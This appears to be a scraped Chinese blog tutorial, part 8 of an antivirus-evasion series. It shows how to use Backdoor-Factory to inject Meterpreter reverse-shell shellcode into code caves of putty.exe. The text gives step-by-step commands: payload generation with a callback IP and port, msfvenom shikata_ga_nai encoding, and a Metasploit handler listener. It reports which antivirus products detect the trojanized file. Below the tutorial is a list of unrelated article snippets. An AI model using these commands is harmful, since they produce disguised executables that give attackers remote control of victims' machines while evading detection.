远控免杀专题8---BackDoor-Facktory免杀

0x01 免杀能力一查表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求找一种能bypass所有杀软的免杀技术,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 BDF介绍

BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。
原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload

0x03 安装BDF

官方地址:


https://github.com/secretsquirrel/the-backdoor-factory

方法一、如果使用kali或parrot,系统中已经安装好了BDF。
如果找不到的话可以使用locate命令查找一下:

locate backdoor.py | more

在这里插入图片描述
方法二、如果系统里没有安装,则需要手动安装

ubuntu里可以直接,kali里不能直接安装

apt-get update
apt-get install backdoor-factor

在这里插入图片描述
方法三、使用docker

BDF作者也考虑到安装容易出问题,所以提供了docker环境:


docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash

在这里插入图片描述

0x04 直接生成免杀后门

backdoor-factory是把shellcode插入到一个正常的exe文件的代码"缝隙"中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主exe文件,我这是还是用之前的putty.exe为例。
执行python backdoor.py:
在这里插入图片描述

4.1、首先检查宿主exe是否被支持

在"捆绑"之前,BDF需要检查一下宿主exe能否被支持"插入"shellcode。
主要使用下面两个参数


-f:指定测试程序-S:检查该程序是否支持

在使用下面命令前,首先将putty.exe复制到docker容器里,如何复制,看这篇文章:
https://editor.csdn.net/md/?articleId=104808903
复制之后,检查命令:


python backdoor.py -f /root/putty.exe -S

在这里插入图片描述
说明putty.exe可以被支持。

4.2 搜索该文件可用的code Caves(代码缝隙)

使用命令./backdoor.py -f test.exe -c -l 600

-c:code cave(代码裂缝)-l:代码裂缝大小

在这里插入图片描述
发现1个可用代码缝隙,一般shellcode大小300字节,所以选择一个适当的缝隙就可以。

4.3 获取该文件的可用payload
./backdoor.py -f /root/putty.exe -s -show

在这里插入图片描述
如上图所示,会有很多的可利用payload。

  • cave_miner_inline:作为payload模板,长度为135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发shellcode的模板
  • reverse_shell_tcp_inline:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
  • meterpreter_reverse_https_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_https
  • iat_reverse_tcp_inline中的iat:iat为Import Address Table(导入地址表)的缩写,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接执行payload reverse_shell_tcp_inline会失败,iat_reverse_tcp_inline增加了修复IAT的功能,避免执行失败
  • iat_reverse_tcp_stager_threaded:增加了修复IAT的功能
  • user_supplied_shellcode_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp``自定义shellcode
4.4 生成payload

推荐使用的命令:

./backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.142.134 -P 5555 -J -o payload.exe
-c:code cave(代码裂缝)-l:代码裂缝大小-s:选择使用 payload 类型-H:选择回连服务器地址-P:回连服务器端口-J:使用多代码裂缝注入

选择一个代码段进行插入shellcode,最后就可以生产新的后门程序。
在这里插入图片描述
我们可以看到payload.exe在backdoored文件夹下,将文件先移动到/root/shell文件夹下,再复制到宿主机子里
在这里插入图片描述
在这里插入图片描述
操作之后,文件就在我们的机子里了
在这里插入图片描述

4.5 免杀测试

运行payload.exe,发现360卫士和杀毒可查杀,火绒未检测到病毒。
在这里插入图片描述

0x05 使用自己定义的shellcode

先用msfvenom生成raw格式的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c

将文件复制到docker容器,再使用backdoor的user_supplied_shellcode_threaded模块加载自定义的shellcode

./backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe

在这里插入图片描述
msf监听可上线:


msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.211.55.2
lhost => 10.211.55.2
msf exploit(handler) > set lport 3333
lport => 3333
msf exploit(handler) > exploit

但是360依然可以查杀
在这里插入图片描述

0x06 小结

利用backdoor-factory使用,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。

该工具还有很强大的一些其他功能,比如加私钥证书、CPT等等,虽然目前软件已经不再更新,但免杀效果至今依然不错也能管中窥豹看到它的强悍之处。

0x07 参考资料

利用BDF向EXE文件植入后门:https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/

backdoor-factory使用简介:https://www.lstazl.com/backdoor-factory%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B/

backdoor-factory使用:https://www.cnblogs.com/-qing-/p/11421709.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380261.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Visual Studio 2010旗舰版在安装Windows Phone 7 SDK后项目模版里没有Windows Phone 项目解决办法...

这个方法解决安装Windows Phone Develop Tools自带的Visual Studio 2010 Express for Windows Phone后,在已安装的Visual Studio 2010旗舰版中没有Windows Phone 7项目的情况。 1.找到Express版的模板,通常在: C:\Program Files (x86)\Micros…

不用ajax实现动态分页,详解ajax +jtemplate实现动态分页

jtemplate是一个基于JQuery的模板引擎插件,功能非常强大,有了她你就再不用为使用JS绑定数据集而发愁了。主要思路,复制textarea作为模板,ajax加载json数据,添加模板,绑定数据,更新加载更多事件。…

程序员每天每周每月每年该做的事

1、总结自己一天任务的完成情况  最好的方式是写工作日志,把自己今天完成了什么事情,遇见了什么问题都记录下来,日后翻看好处多多。 2、考虑自己明天应该做的主要工作  把明天要做的事情列出来,并按照优先级排列,第…

C和汇编----存储类别、链接和内存管理

0x01 存储类别 1、作用域 一个C变量的作用域可以是块作用域、函数作用域、函数原型作用域或文件作用域。 1.1 块作用域: 块是用一对花括号括起来的代码区域。比如函数体就是一个块。定义在块中的变量具有块作用域,块作用域变量的可见范围是从定义处到包…

倒三角(随即输入)

package wsq; import java.util.*; public class wsqyy {public static void main(String[] args) {Scanner wsqnew Scanner(System.in);int xwsq.nextInt();int i,j,k;for(i0;i<x;i)//第一个for循环控制行数&#xff1b;{for(j0;j<i;j)//第二个for循环控制输出&#xff…

调用向量的第i维分量| 使用Python的线性代数

Prerequisite: Linear Algebra | Defining a Vector 先决条件&#xff1a; 线性代数| 定义向量 Linear algebra is the branch of mathematics concerning linear equations by using vector spaces and through matrices. In other words, a vector is a matrix in n-dimensi…

EYQiPa,梦开始的地方

早在2003年&#xff0c;就有EYQiPa的设想&#xff0c;曾经尝试过去做它&#xff0c;不过总是不了了之。也许是当时技术能力不达标&#xff0c;也许是一直以来的对待事物缺少持之以恒的心态&#xff0c;时光如水&#xff0c;转眼8年过去了&#xff0c;这8年当中&#xff0c;总是…

结合struts和hibernate谈J2EE架构的数据表示

结合struts和hibernate谈J2EE架构的数据表示 在 struts hibernate 这种结构中&#xff0c;是不应该把Hibernate产生的PO直接传递给JSP的&#xff0c;不管他是Iterator&#xff0c;还是List&#xff0c;这是一个设计错误。 我来谈谈在J2EE架构中各层的数据表示方法&#xff1a;…

服务器appcrash的问题怎么修复,ghost win7出现appcrash的问题怎么修复

ghost win7出现appcrash的问题怎么修复一位用户说在win7旗舰版电脑中运行程序会出现appcrash错误的提示&#xff0c;appcrash出错想必很多用户都遇到过&#xff0c;也不知道什么原因引起的&#xff0c;导致程序无法正常运行。那么有什么方法可以解决ghost系统win7运行程序出现a…

远控免杀专题9 --- Avet免杀

0x01 免杀能力一查表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

字符串startswith_JavaScript字符串startsWith()方法与示例

字符串startswith字符串startsWith()方法 (String startsWith() Method) startsWith() method is a string method in JavaScript, it is used to check whether a string starts with a specified substring or not. startsWith()方法是JavaScript中的字符串方法&#xff0c;用…

方法:求两个数之和 判断两数是否相等

package wsq; import java.util.Scanner; public class wsq { public static void main(String[] args) { double a,b; Scanner wsqnew Scanner(System.in); awsq.nextDouble(); bwsq.nextDouble(); double cadd(a,b); System.out.println(“两数之和为&#xff1a;”…

WF随笔系列之三 --- Code Activity 专题

系列目录&#xff1a;WF随笔系列之三 Out-of-the-Box Activities 专题目录 Code Activity是WF开发中使用最频繁的Activity之一&#xff0c;它要做工作的很简单&#xff0c;就是把一个或者几个Code Exec 一下&#xff0c;当此行为在执行时&#xff0c;触发一个Handlers:Execute…

是知当代之士、驰骛之曹,书读纵横,则思诸侯之变

看到《职来职往》的智联招聘张勇为应聘者设计的一个问题&#xff0c;很有深度&#xff0c;值得借鉴&#xff1a; 是知当代之士、驰骛之曹&#xff0c;书读纵横&#xff0c;则思诸侯之变&#xff1b; 出自原文&#xff1a; 匠成舆者&#xff0c;忧人不贵&#xff1b; 作箭者&…

A5流密码算法

0x01 A5/1流密码算法的基本用法 作用&#xff1a; 用于蜂窝式移动电话系统语言和数字加密 过程&#xff1a; A5/1算法用于用户的手机到基站之间的通信加密&#xff0c;通信内容到基站后先解密变成明文&#xff0c;然后再进行基站到基站之间&#xff0c;以及基站到用户手机之间…

mcq 队列_MCQ | 密码学中作为IDEA,DES,AES,RSA的块密码

mcq 队列1) In the AES-128 algorithm there are mainly __________ similar rounds and _________ round is different from other round. 1)在AES-128算法中&#xff0c;主要有__________个相似的回合&#xff0c;而_________个回合与其他回合不同。 5 similar rounds havin…

Cookie存取和IE页面缓存的问题

最近老是发现在IE里会有Cookie的问题&#xff0c;如IE下面无法登出&#xff0c;或无法登录&#xff0c;或者登录后信息却无法取到&#xff0c;而Firefox下面一直是通过的&#xff0c;都试过好多次了&#xff0c;今天终于找回的主要的原因&#xff1b;Cookie的问题&#xff1a;首…

数组(一维、二维)

1&#xff0c; 动态初始化&#xff1a; int [] arr new int [5] 如果直接输出arr&#xff1b; System.out.print&#xff08;arr&#xff09;&#xff1b; 结果为&#xff1a; [I13b64eb [&#xff1a;表示一维数组&#xff0c;几个就代表几维数组&#xff1b; I&#xff1a;表…

Extjs TextField扩展

Extjs.form.TextField的默认在输入框后面是不能加入文字。在网上找到此方法以备查用。 /** * 重写textfield,为其多加一个属性sideText,在文本框后面加html * author rms * create 2011-08-17*/Ext.override(Ext.form.TextField, { sideText : , onRender : functi…

远控免杀专题10--TheFatRat免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…